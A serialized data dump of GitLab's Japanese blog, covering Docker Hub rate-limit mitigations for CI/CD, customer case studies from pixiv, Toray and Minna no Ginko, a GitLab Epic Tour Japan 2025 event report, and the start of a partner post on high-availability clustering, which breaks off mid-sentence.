|\n\n\u003Cp>\u003C/p>\n\nこの変更が重要な理由は以下のとおりです。\n\n* GitLabの依存プロキシは現在、未認証ユーザーとしてDocker Hubからプルしています。\n\n* 依存プロキシを使用していないほとんどのCI/CDパイプラインは、未認証ユーザーとしてDocker Hubから直接プルしています。\n\n* GitLab.comのホステッドランナーでは、複数のユーザーが同じIPアドレスやサブネットを共有することがあり、全体がこの制限の対象になります。\n\n## GitLabユーザーへの影響\n\n**Docker Hubからの直接プルに関する影響**\n\nCI/CDパイプラインがDocker\nHubから認証なしで直接イメージをプルしている場合、IPアドレスごとに1時間あたり10回の制限が適用されます。頻繁に実行されるパイプラインや、同じランナーインフラを共有している複数プロジェクトでは、この制限にすぐに達してしまい、パイプラインの失敗が発生する可能性があります。\n\n**GitLab依存プロキシへの影響**\n\nGitLabの依存プロキシ機能は、DockerイメージをGitLab内にキャッシュすることでパイプラインの高速化や外部依存関係の削減を実現します。ただし、現在の実装では未認証ユーザーとしてDocker\nHubからプルしているため、これも1時間あたり10回という制限の対象になります。\n\n**ホステッドランナーへの影響**\n\nGitLab.comのホステッドランナーでは、[Google\nCloudのプルスルーキャッシュ](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=ja)を使用しています。これにより、よく使われるイメージがミラーされ、レート制限を回避できます。`.gitlab-ci.yml`ファイル内で`image:`または`services:`として定義されたジョブイメージは、レート制限の影響を受けません。\n\n一方で、ランナー環境内でイメージをプルするケースではやや複雑になります。ランナー実行中にイメージをプルする最も一般的なユースケースは、Docker-in-DockerやKanikoを使ってイメージをビルドする場合です。このシナリオでは、`Dockerfile`で指定されたDocker\nHubのイメージが直接プルされるため、レート制限の影響を受ける可能性があります。\n\n## GitLabの対応\n\nこの問題を緩和するため、GitLabでは以下の対応を進めています。\n\n* **依存プロキシの認証：**\nGitLabの[依存プロキシ機能](https://gitlab.com/gitlab-org/gitlab/-/issues/331741)にDocker\nHubの認証のサポートを追加しました。これにより、依存プロキシは認証済みユーザーとしてDocker\nHubからイメージをプルできるようになり、レート制限が大幅に緩和されます。\n\n* **ドキュメントの更新：** Docker\nHubのパイプライン認証の設定に関する明確なガイダンスを提供するために、[ドキュメント](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials)を更新しました。\n\n* **内部インフラの整備：** GitLab.comのホステッドランナーへの影響を最小限にするため、内部インフラを整備中です。\n\n## ユーザー側でできる対策\n\n**オプション1：パイプラインでDocker Hub認証を設定する**\n\nDocker\nHubから直接プルしているパイプラインでは、認証を設定することでレート制限を1時間あたり100回（または有料プランなら無制限）まで増やせます。\n\nDocker\nHubの認証情報をプロジェクトまたはグループのCI/CD変数に追加してください（`.gitlab-ci.yml`には追加しないでください）。`DOCKER_AUTH_CONFIG`\nCI/CD変数の正しい設定方法については、[Dockerイメージの使用に関するドキュメント](https://docs.gitlab.com/ci/docker/using_docker_images/#use-statically-defined-credentials)を参照してください。\n\n**オプション2：GitLabのコンテナレジストリを使用する**\n\n頻繁に使用するDockerイメージを[GitLabのコンテナレジストリ](https://docs.gitlab.com/user/packages/container_registry/)にプッシュすることで、CI/CDの実行中にDocker\nHubからプルする必要がなくなります。\n\n1. Docker Hubからイメージをプルします\n\n2. GitLabコンテナレジストリにタグ付けします\n\n3. GitLabコンテナレジストリにプッシュします\n\n4. パイプラインをGitLabコンテナレジストリからプルするよう更新します\n\n```shell\n\ndocker pull busybox:latest\n\ndocker tag busybox:latest $CI_REGISTRY_IMAGE/busybox:latest\n\ndocker push $CI_REGISTRY_IMAGE/busybox:latest\n\n```\n\nそれから、`.gitlab-ci.yml`で以下のように記述します。 `image: $CI_REGISTRY_IMAGE/busybox:latest`\n\n**オプション3：GitLabの依存プロキシを使用する**\n\nGitLabの依存プロキシ機能を使うことで、Dockerイメージをキャッシュしてプロキシ経由で取得できるため、外部依存関係を減らし、レート制限の問題を軽減できます。\n\n現在の認証オプションは以下のとおりです。\n\n* GitLab 17.10：[GraphQL\nAPI](https://docs.gitlab.com/user/packages/dependency_proxy/#configure-credentials-using-the-graphql-api)を使って、依存プロキシ用のDocker\nHub認証を設定\n\n* GitLab 17.11：グループ設定に新しく追加されたUIベースの設定を使用（GitLab.comでは既に利用可能）\n\n認証が正しく設定されると、以下の操作が可能になります。\n\n1. グループの依存プロキシ設定でDocker Hubの認証情報を設定する\n  - GitLab 17.11以降（またはGitLab.com）：グループ設定 > パッケージとレジストリ > 依存プロキシで設定\n  - GitLab 17.10：GraphQL APIで認証を設定\n2. CI/CD設定で依存プロキシURLを使用するよう、パイプラインを更新する\u003Cbr>\n\n`image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/busybox:latest`\n\n**オプション4：Docker Hubの有料プランを検討する**\n\nDocker\nHubの利用が多い組織の場合は、プル回数が無制限の有料Dockerサブスクリプション（TeamまたはBusiness）へのアップグレードが最も簡単な解決策となる場合があります。\n\n## Docker Hubのレート制限による影響を減らすベストプラクティス\n\nどのオプションを選ぶ場合でも、Docker Hubのレート制限の影響を最小限に抑えるために、以下のベストプラクティスを参考にしてください。\n\n* `latest`タグではなく、特定のバージョンタグを使用して不要なプルを避ける\n\n* Dockerファイルを統合し、同じベースイメージを複数のプロジェクトで使い回す\n\n* あまり重要でないパイプラインは、ピーク時間を避けて実行するようスケジュールする\n\n* キャッシュを有効活用し、同じイメージを繰り返しプルするのを避ける\n\n**注：** Docker\nHubの[ドキュメント](https://docs.docker.com/docker-hub/usage/pulls/#pull-definition)によると、プル回数はイメージのサイズやレイヤー数ではなく、manifestを取得した時点で1回とカウントされます。\n\n## スケジュールと今後の流れ\n\n**現在**\n  * Docker Hubからの直接プルに認証を実装します\n* GitLab.comユーザーは以下のいずれかで依存プロキシ認証を設定できます\n    * GraphQL API\n    * グループ設定のUI\n  * Self-ManagedのGitLab 17.10ユーザーはGraphQL APIを使用して依存プロキシ認証を設定できます\n\n**2025年4月1日**\n  * Docker Hubのレート制限が始まります\n\n**2025年4月17日**\n  * Self-Managedインスタンス向けの依存プロキシ認証機能をUIに追加したGitLab 17.11がリリースされます\n\nパイプラインの予期せぬ失敗を回避するために、可能な限り速やかに対応することをおすすめします。多くのユーザーにとっては、Docker\nHub認証を使用して依存プロキシを設定することが最も効率的な長期的解決策となります。\n\n>\nご質問がある場合や、実装に関してサポートが必要な場合は、[こちらのイシュー](https://gitlab.com/gitlab-org/gitlab/-/issues/526605)をご覧ください。GitLabのチームによる対応が確認できます。\n\n\u003Cbr>\u003Cbr>\n\n*監修：川瀬 洋平 [@ykawase](https://gitlab.com/ykawase)\n\n（GitLab合同会社 カスタマーサクセス本部 シニアカスタマーサクセスマネージャー）*\n",[88,720,795],"2025-03-31",{"slug":886,"featured":13,"template":784},"prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"category":683,"slug":681,"posts":888},[889,904,915],{"content":890,"config":902},{"title":891,"description":892,"authors":893,"heroImage":895,"date":896,"body":897,"category":681,"tags":898},"お客様事例：ピクシブ","生産性のオーバーヘッドを極小化する開発支援ツール戦略を加速する事例をご紹介。",[894],"GitLab Japan Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1770267303/xwn82trbh5iaf44e1gp3.jpg","2026-02-17","## ピクシブについて\n\nピクシブ株式会社は、「創作活動を、もっと楽しくする。」というミッションを掲げる企業です。2007年にリリースされたイラスト、マンガ、小説作品の投稿プラットフォーム「pixiv」を中核に、創作ドメインに特化した事業を多角的に展開。登録ユーザー数は1億を超え、海外ユーザー比率も高いグローバルなプラットフォームへと成長しました。\n\n## ピクシブの挑戦\n\n創業以来、内製による開発を継続する同社に数年前、開発サイクルにおける手戻りや待ち時間などのオーバーヘッドを可視化する機会が訪れました。社内で2番目に大きなプロジェクトのバリューストリームを分析したところ、開発時間全体の約19%がオーバーヘッドに占められていることが判明したのです。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate、GitLab Duo Enterprise\n\n面白いのは、この数字を単なる損失やネガティブな問題とは捉えず、「改善すれば成果が約束されている」、「19%の伸びしろがある」とポジティブに解釈したこと。オーバーヘッドを抑制しながら、組織規模の拡大に伴う開発効率の鈍化や、高まるセキュリティ脅威、ナレッジの散逸といった課題に対し、「デリバリー能力そのものの向上」を目指す取り組みが始まりました。ソースコード管理だけでなく、設計情報やセキュリティ機能も一元化できる「GitLab Ultimate」を核とした、シフトレフトへの移行です。\n\n開発ライフサイクル全体の基盤整備に向け、「3本の柱」が掲げられました。まずは、「健康診断のお医者さん」になること。チームの健康状態＝バリューストリームを定期的に診断し、改善への処方箋を出す役割です。次に、「ガードレール整備の職人」であること。セキュリティスキャンやインスペクション設定を最適化し、安全な開発環境を整える役割を担います。最後に、「コンテキストを集める推進リーダー」の務めを果たすこと。最新の支援ツールが正しく機能するよう、情報を整備します。\n導入戦略では「点・線・面」のアプローチを採用しました。まずは特定のプロジェクト＝点で成功事例を作り、それを複数の事例＝線へと展開し、最終的に全社的な標準＝面とする段階的な展開です。\n\nこれまでの大きな成果のひとつは、「部分最適の罠」を理解できたことです。検証の過程で、「特定工程の速度を2倍にしても、次の工程の負荷が倍増してボトルネックが発生し、全体のスループットは上がらない」という事実が浮き彫りになりました。これにより、単なるツールの導入ではなく、バリューストリーム全体を俯瞰した最適化が不可欠であるという認識が広がりました。\n\n開発支援機能を最適に使用するための基盤作りも進んでいます。従来、社内のWikiツールでやり取りしていた情報を、GitLab上のイシューやプロジェクト管理に集約。開発の背景やコンテキストを含めて一元的に把握できるようにすることで、支援ツールによる補助の精度や信頼性が向上しました。\n\n今後は、現在「線」になりつつある取り組みを、具体的なカバレッジ目標を持った「面」へと展開します。19%というオーバーヘッドをわずかでも削減することが狙いです。中でも、支援ツール活用のための環境整備に注力します。今後の開発に高度な自動化支援は不可欠で、「渋滞を起こさないようなバリューストリーム」の構築を実現したい考えです。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf)\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770948394/hivoz9yjenzsi9os5ofr.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n\u003C/object>",[777,88,899,696,900,758,901],"customers","performance","user stories",{"featured":13,"template":784,"slug":903},"epic-tokyo-2025-pixiv",{"content":905,"config":913},{"heroImage":906,"body":907,"authors":908,"updatedDate":5,"date":909,"title":910,"tags":911,"description":912,"category":681},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770172921/sprvmx9sgnxrx5m3ptxy.jpg","## 東レについて\n\n東レ株式会社は、繊維や機能化成品、炭素繊維などを提供する素材メーカー。2026年に創業100周年を迎え、売上高2兆5000億円、グローバルの従業員数約5万人を誇ります。UNIQLOの「ヒートテック」やボーイング「787」の機体材料など、私たちの身近な製品にも、その素材が利用されています。\n\n## 東レの挑戦\n\n同社は、情報システムに課題を抱えていました。50年前から稼働するホストコンピュータや、導入から20年以上経過したERP、そしてJavaをベースとした自社製の独自フレームワークで構築された200を超える業務システムが複雑に入り組んでいたのです。この状況ではDXの推進が困難で、運用保守に忙殺される技術者のモチベーション低下も大きな問題でした。そこで同社は競争優位性の源泉となる領域において、アプリケーションのモダナイズを決断しました。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate、GitLab Duo Enterprise\n\n基幹刷新プロジェクトと共に始動したアプリケーションモダナイズの取り組みでは、「セキュリティの向上」、「自動化（CI/CD）」、「モノリスからの脱却」、「常に新しい技術の採用」という4つの柱を掲げました。開発サイクルの高速化とセキュリティ確保を両立するDevSecOpsを実現するために、開発の初期段階からセキュリティチェックを組み込むシフトレフトのアプローチは不可欠。それを実現するためにGitLabを開発プラットフォームとし、セキュリティチェックとCI/CDサイクルを確立することで、開発スピード、品質、セキュリティのすべてを強化する体制を整えました。\n\nGitLabと生成AIエディタ「Cursor」を組み合わせたAI駆動開発にも挑戦しました。開発者はMarkdown形式のAPI仕様書を作成し、Cursorに入力することでソースコードやテストコードを自動生成します。導入当初は生成されるコードの品質にばらつきがありましたが、プロンプトの内容やアーキテクチャのルールを整備し、実装後にチェックするプロセスを導入することで、開発者間で均質なコードが生成されるよう改善しました。\n\n生成されたコードのレビューにはGitLab Duoを活用しています。AIをレビュアーとして指定することで、冗長なコードの指摘やエラーハンドリングの不足などを自動で検出し、属人化の解消とレビュー工数の削減を実現しています。\n\nこれらの取り組みにより、かつては手動で行っていた単体テストやデプロイ作業が自動化され、セキュリティテストもパイプラインの中で頻繁かつ定期的に実施できるようになりました。旧システムのクラウドリフトは約1年半で完了し、2025年からは本格的なモダナイズフェーズへと移行しています。わずか3か月で試行的なモダンアプリ開発を成功させるなど、着実に内製化への知見を蓄積しています。開発環境においても、VDIやNexusサーバを導入してセキュアな構成を保ちつつ、開発者が最新技術に触れられる「ワクワクする」環境づくりが進められています。\n\n今後は、人材採用活動をさらに積極化するとともに、生成AIとGitLab Duoによる開発・運用工数の削減を目指します。すでに脆弱性対応を自動化する仕組みの構築に着手。脆弱性診断結果を分析し、GitLab Duoを中心として修正コードの提案からマージリクエストの作成までを自動化する構想です。レビュアーはAIが提案した変更内容を確認して承認するだけというフローを確立し、人間がより創造的な業務に集中できる環境を目指します。\n\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770170747/diywgk9vavrv3jtxyo1l.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770170747/diywgk9vavrv3jtxyo1l.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n\u003C/object>",[894],"2026-02-05","お客様事例：東レ",[777,88,899,696,758,901],"システムをGitLabとAI活用でモダナイズされた東レ様の事例。DevSecOps実現と開発効率化の取り組みを紹介します。",{"featured":13,"template":784,"slug":914},"epic-tokyo-2025-toray",{"content":916,"config":924},{"title":917,"heroImage":918,"date":919,"body":920,"category":681,"tags":921,"description":922,"authors":923},"お客様事例：みんなの銀行","https://res.cloudinary.com/about-gitlab-com/image/upload/v1769428733/nwx3couveh6gse8tlt4d.jpg","2026-01-29","## みんなの銀行について\n\n株式会社みんなの銀行は、スマホ完結型の日本初のデジタルバンクを運営する企業。このB2C銀行に加え、APIを通じて金融機能を外部に提供するBaaS（Banking as a Service）事業やシステム外販事業を展開しています。40代未満のユーザーが7割を占め、Google Cloud上で勘定系システムをフルスクラッチ開発している点が大きな特徴です。\n\n## 開発内製化への挑戦\n\n同社は徹底した内製化を目指しています。その理由は、プロダクトを“自分ごと”として捉え、改善のナレッジを社内に蓄積するためです。外部委託ではノウハウが流出し、コストも最適化しにくい一方、自分たちで開発・運用を行うことで、投資を効率化し、開発と運用の好循環を生み出すことを重視しています。内製化には「挑戦できる環境」と「心理的安全性」のある文化が不可欠であり、GitLabはこの土台として機能しています。銀行システム特有の厳格なセキュリティや運用ルールによる窮屈さを、技術と自動化によって最小化する役割を担っています。\n\n## GitLabの活用方法\n\n### ソリューション：GitLab Ultimate\n\nGitLab導入の背景には、ゼロからのシステム構築にあたり、セキュリティとガバナンスを両立したDevOps環境が必要だったことがあります。選定にあたっては、ソフトウェア開発ライフサイクル全体を単一ツールでカバーでき、学習コストを抑えながら厳格な要件を満たせる点が決め手となりました。現在は、福岡と東京での分散開発を支える基盤として活用し、CI/CDパイプラインに単体テストやセキュリティスキャン（SAST、依存関係チェック、機密情報検知）を組み込むことで、アジリティとセキュリティの両立を実現しています。\n\n中でも注力しているのがGitOpsです。これはGitリポジトリの状態を正とし、本番環境と自動同期させる仕組みです。同行では独自の「コンプライアンス・パイプライン」を構築しました。開発者がマージリクエストを出すと、承認者は変更内容やリスクを確認して承認するという流れです。マージ後はKubernetes環境へのデプロイを自動化するArgoCDが検知し、自動で本番環境へと反映します。運用／開発分離という観点から、最終的な「承認」のみを人が行い、リリース作業自体は徹底して自動化しています。これにより、人為的なオペレーションミスを防ぐとともに、開発者が自身のコードと本番環境に対する責任を持つ「Code Owners」としての意識醸成につなげています。\n\nAI活用にも積極的です。不正口座検知や顧客FAQに加え、社内用の生成AI環境を整備しています。開発業務においては、コード生成や補完の導入を加速させるべく「AIスクラム」を組成しました。すべての言語での活用を推進し、要件定義からリリースまでの全工程へのAI組み込みを目指しています。\n\n今後は、仕様を固めてからAIに生成させる「スペック駆動開発」の推進や、クライアントサイドでのレビューAI活用など、GitLabとAIの連携をさらに深めていく方針です。セキュリティと品質を高めつつ、エンジニアが創造性を発揮できる開発環境を追求し、日本の技術力向上にも貢献していきたいと考えています。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769429924/khjuj2sgowamexx20ndr.jpg \"株式会社みんなの銀行 取締役常務執行役員CIO 宮本 昌明氏\")\n\n## ▶️事例PDFを[無料でダウンロードする](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769482018/p0g5il5oqadjbsrhhrhy.pdf)\n\n\u003Cobject class=\"slp-my-32\" data=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1769482018/p0g5il5oqadjbsrhhrhy.pdf\" type=\"application/pdf\" width=\"100%\" height=\"800\">\n  \u003Ca href=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1769482018/p0g5il5oqadjbsrhhrhy.pdf\">事例PDFを無料でダウンロードする\u003C/a>\n\u003C/object>",[777,88,899,696,530,511,758,901],"スマホ完結型の日本初のデジタルバンクを運営するみんなの銀行様の事例。GitLabでセキュリティとアジリティを両立し、AI活用も推進する内製開発の取り組みをご紹介します。",[894],{"featured":13,"template":784,"slug":925},"epic-tokyo-2025-minna-no-ginko",{"category":696,"slug":694,"posts":927},[928,939,955],{"content":929,"config":937},{"heroImage":930,"body":931,"authors":932,"updatedDate":896,"date":933,"title":934,"tags":935,"description":936,"category":694},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770082992/ll61ekf2lcgogkgay69j.jpg","*2026年2月5日追記：本文内に東レ様の事例を追加しました。*\n\n2025年11月に開催した年次イベント「GitLab Epic Tour Japan 2025」の模様をお伝えします。\n\n> 【期間限定！動画で見る】GitLab Epic Tour Japan 2025 オンデマンド配信は[こちら](https://www.event-site.info/gitlab-epic-conference-japan-2025/?r=eventreport)\n\nGitLabは2025年11月28日、都内で年次イベントで「GitLab Epic Tour Japan 2025 〜AI駆動ソフトウェア開発の攻めと守り〜」を開催しました。生成AIの登場により、ソフトウェア開発の現場は大きな変化にさらされることになりました。コード生成AIを活用して生産性向上を狙う「攻め」については、すでに多くの開発者が取り組んでいます。一方、AIが生成したコードの脆弱性をどうすべきかという「守り」の重要性が、かつてないほど高まっています。この日のイベントでは、AI時代の開発プラットフォームのあり方、そして日本企業が直面する課題への具体的な処方箋を示しました。本稿では、主要セッションの内容を中心に、イベントの全容をレポートします。\n\n## **「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた**\n\n![「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083035/sp4llxhmbx2kcawgexyp.jpg \"GitLab合同会社 Japan Country Manager 小澤 正治\")\n\nオープニングセッションでは、GitLab Japan Country manager小澤 正治がご挨拶させていただきました。小澤は2年半前の入社当時を振り返り、次のように語ります。\n\n「当時、経済産業省のレポートを読むと、国内の[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)の認知度はわずか30%でした。正直、どうしようかと震えていたのですが、状況は大きく変わりました。この変化にワクワクしています」\n\nこの2年半で、GitLab自身も大きく進化しました。当時は単に「[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/) Platform」でしたが、AI要素を付加した「AI Powered」が枕詞になりました。そして現在は、「AI Native [DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/) Platform」です。つまり、GitLabそのものがAIを中核に据えたプラットフォームへと成長したと言えます。\n\n![「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083037/z1vvb6yuqznqlpe9nukf.jpg \"GitLab合同会社 Staff Regional Marketing Manager 川口 修平\")\n\n続いて登壇したStaff Regional Marketing Manager 川口 修平は、AI導入により開発者1人あたり年間120万円相当の工数を削減でき、その結果として日本の経済効果が約1兆6000億円に上るという試算を[紹介](https://japanese-developer-survey.about.gitlab-review.app/ja-jp/developer-survey/japan/)。ただし、AI活用に立ちはだかる困難を、「3つの壁」として提示しました。\n\nまずは、技術的負債の壁。レガシーコードやドキュメント不足が、AIのコンテキスト理解を妨げています。続いて、セキュリティリスクの壁。 AI生成コードの約45%に脆弱性が含まれるというデータがあり、インシデントを防ぐ防災に加えて、被害を最小限にする減災の考え方も不可欠になります。最後に、人材の壁。エンジニアの役割はコードを書くことから、AIの成果物が正しいかどうかを評価することへシフトします。\n\nこれらの課題を解決するカギになるのが、[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)（以下、DAP）です。開発サイクル上のすべての情報を単一データストアへと集約することで、AIがコンテキストを深く理解し、精度が高く、かつ自律的な支援が可能になります。\n\n## **「Prompt to Production」の危険性と、自律型AIエージェントの未来**\n\n![「Prompt to Production」の危険性と、自律型AIエージェントの未来](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083038/ydpympgpv51g0tncpw7j.jpg \"GitLab CTO Asia Pacific & Japan Andrew Haschka\")\n\n続いて登壇したGitLab CTO Asia Pacific & Japan Andrew Haschka氏は、アジア太平洋地域のリーダーたちとの対話から得た知見をに基づき、AI活用の次のステージについて語りました。\n\nHaschkaは、「AIを正しく機能させるためには、開発の全工程を網羅した“信頼できる唯一の情報源”が不可欠です」と強調します。現在、多くの企業は開発現場にAIを導入していますが、その用途は「AIコーディング」に偏りすぎています。しかしながら、計画、テスト、セキュリティといった周辺プロセスにも、AIによる最適化の余地があるのです。\n\n「私は、ガバナンスがない状態で、バラバラのAIツールを使うことをPrompt to Productionと呼び、危険視しています。テストやセキュリティチェックをスキップし、プロンプトの結果をいきなり本番環境へ反映してしまうリスクがあるためです」（Haschka）\n\nこの問題を解決するのが、[DAP](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)と[Agentic Flows](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/)。人間がAIに質問して答えを得るチャットボット形式とは一線を画す概念で、1人の人間が多数のAIエージェントを指揮します。すると、エージェント同士が連携し、計画から実装、テストまでを自律的な流れとして実行することになります。\n\nHaschkaは、「GitLabのAIエージェントは、組織のポリシーというガードレールの下で動きます。だからこそ、リスクを最小限に抑えながらイノベーションを加速できるのです」と話します。「AIは、開発者のためにコードを書いてくれるだけでなく、チームメンバーとして一緒に働いてくれる存在になります」。\n\nAIツールをバラバラに使う段階は終わりました。すでに、統合プラットフォーム上でAIを“良き同僚”として迎え入れる環境は整っています。\n\n## **3つの壁を突破する具体的アプローチ**\n\n![3つの壁を突破する具体的アプローチ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083038/gazgh2phoxeiglbzsutt.jpg \"GitLab合同会社 ソリューションアーキテクト 本部長 藤田 周\")\n\n続いて、ソリューションアーキテクト 本部長 藤田 周が登壇しました。藤田は、オープニングで提示された3つの壁に対する、より実践的で技術的な解決策を深掘りしました。\n\n技術的負債の壁は、リアーキテクチャで乗り越えます。古いシステムを単にクラウドに乗せ換える「リホスト」や、すべてを作り直す「リビルド」は、コストの面でも効果の面で現実的にならないケースが目につきます。そこで藤田は、生成AIを活用した「リアーキテクチャ」を提唱します。\n\n具体的には、まずレガシーコードをAIに読み込ませ、人間にとってもAIにとっても理解しやすい「マークダウン形式の設計書」を出力。ブラックボックス化した仕様を可視化した上で、モダンなコードとテストケースをAIに生成させるというアプローチを取ります。これにより、手のつけられなかった旧来のシステムが、最新のアーキテクチャ上で以前と同様の機能を提供してくれるようになります。\n\nセキュリティリスクの壁は、スピードがカギを握ることになります。巷間、「脆弱性が公開されてから攻撃が始まるまで、わずか15分」という数字が語られていますが、これは現実です。攻撃を受けてから人間が会議を開き、パッチ適用の計画を立てている間に、攻撃者はすでに侵入を開始しているのです。\n\n藤田はデモを通じて、GitLabの[Security Analyst Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)がこのスピードに対抗できることを示しました。AIエージェントが膨大な脆弱性情報の中から誤検知を取り除き、自動で対応すべき優先順位を付け、さらに修正コードまで作成してくれます。人間はAIの提案を確認してマージボタンを押すだけです。藤田は、「精神論や手動チェックではもう守りきれないのです」と語りました。\n\n人材の壁をクリアする第一歩は、伴走支援のエコシステムを構成することです。エンジニアに求められるスキルセットが変化する中、何らかのツールを導入したり、担当者のスキルアップを図るだけでは、解決策になりません。藤田氏は、専門性の高いパートナー企業による伴走支援の重要性について話し、GitLabをプラットフォームとして開発プロセスを最適化すると同時に、優れたパートナー企業をプロセスに取り込み、さらに組織変革をセットで進めます。その際に、パートナー企業が組織変革についてもサポートしてくれれば理想でしょう。\n\n藤田は講演の中で、[DAP](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)による開発の自律化についても紹介しました。AIが先回りして動いてくれる一例が「Issue to MR」です。AIがイシューを読み、計画を立て、コードを書き、マージリクエストまで作成します。また、人間がレビューする前にAIがセキュリティや規約チェックを行う機能により、人間の負荷を劇的に下げることができます。これら一連の仕組みは、プロジェクト全体のコンテキストをAIが理解することで支えられています。\n\n## **4社の最新事例発表も実施**\n\n![4社の最新事例発表も実施](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083239/nilg9jbd5b6p6epbybqw.jpg \"お客様の講演\")\n\nこの日のイベントでは、ピクシブ株式会社様、東レ株式会社様、日立グループ様（株式会社日立プラントサービス様、株式会社日立システムズ様）、株式会社みんなの銀行様（登壇順）の4社のユーザー企業様がご登壇され、それぞれの挑戦についてご共有いただきました。各社の取り組みについては、以下のリンクよりご覧ください。\n\n・[株式会社みんなの銀行様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-minna-no-ginko/)\n\n・[東レ株式会社様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-toray/)　**NEW！**\n\n・[ピクシブ株式会社様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-pixiv/)  **NEW!**\n\n・日立グループ様（株式会社日立プラントサービス様、株式会社日立システムズ様）**（近日公開予定）**\n\n## **次は1年後。きっと大きな変化が起きているはず**\n\n![次は1年後。きっと大きな変化が起きているはず](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083054/p39lvxa768ifqlezd4jw.jpg \"会場の様子\")\n\nクロージングセッションに再登壇した小澤は、部分最適の罠について強調しました。AIを活用することで特定の作業やプロセスが高速化したとしても、それが故に別の場所にボトルネックが生まれることになっては意味がありません。全体最適を目指すことが大切で、そのためにGitLabが持つシングルデータストアという基盤が効いてくることになります。\n\nさらに、GitLabが講演した内容と発表された事例を総括し、「かつてDevOpsはSecurityを加えて[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)になりました。それがいまや完全に[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)として一体のものとして認識されています。その上で、AI活用が進んでいるのです」と話します。GitLabのAI Native DevSecOpsも、テクノロジーの通過点であり、さらに最適化された未来が待っているのでしょう。\n\n2026年の秋にもまた、GitLabは「Epic Tour Japan」を実施します。\n\n小澤は、「1年先は近いようで遠いです。いまはまだ読めない変化が起きているはずです。しかし、GitLabも世の中のニーズに合わせて柔軟に進化していきます。来年のこのイベントで、これから生まれる新しい事例を皆様にお伝えできることにワクワクしています」と結び、今年のEpic Tourは盛況のうちに幕を閉じました。",[894],"2026-02-03","AI駆動ソフトウェア開発の攻めと守り【GitLab Epic Tour Japan 2025レポート】",[777,899,696,758,901],"2025年11月に開催した年次イベント「GitLab Epic Tour Japan 2025」の模様をご紹介。",{"featured":13,"template":784,"slug":938},"event-report-epic-tokyo-2025",{"content":940,"config":953},{"heroImage":941,"body":942,"authors":943,"updatedDate":946,"date":947,"title":948,"tags":949,"description":952,"category":694},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1766026372/vmnafxuxmxwzevccjzjz.jpg","***編集部注：私たちは時折、パートナーコミュニティのメンバーにGitLabブログへの寄稿をお願いしています。今回は、サイオステクノロジー株式会社の西下容史氏に寄稿いただきました。***\\\n\\\n***当ブログは、GitLabを運用されている方を対象にしています。開発の中核を担うGitLabは、何らかの障害（例えばサーバーの停止やGitLab自体の停止など）が原因で止まってしまうと、開発業務に大きな影響が出てしまいます。このためGitLabには「止まらない仕組み」が求められています。***\\\n***このブログでは、GitLabの止まらない仕組みを、直感的なGUIが用意されたHAクラスター製品による冗長化構成で実現する方法が紹介されています。***\n\n## **開発を止めないために：GitLabの冗長化を考える**\n\n### GitLabの停止が開発チームに与える影響\n\nGitLabをSelf-Managed版で運用されている企業のインフラ担当者やDevOpsエンジニアの皆さん、GitLabの可用性について不安を感じたことはありませんか？\n\n特に金融系・公共系企業では、セキュリティやコンプライアンスの観点から自社環境でGitLabを運用するケースが増えています。しかし、GitLabが障害で停止してしまうと、開発チーム全体の業務が止まり、システムやサービスのリリースに遅れが発生するなど、ビジネスへの影響は計り知れません。\n\nバージョン管理、CI/CD、課題管理といった開発の中核を担うGitLabだからこそ、「止まらない仕組み」が求められています。\n\n### HAクラスター構成による高可用性の実現\n\nこのような課題に対する有効な解決策が、HAクラスター構成によるGitLabの冗長化です。稼働系と待機系のノードを用意し、障害発生時には自動的に切り替えることで、最小限のダウンタイムでサービスを継続できます。\n\n本記事では、世界で9万ライセンス以上の導入実績を持つHAクラスター製品「LifeKeeper for Linux」を使用した、GitLabの冗長化構成を具体的にご紹介します。Amazon 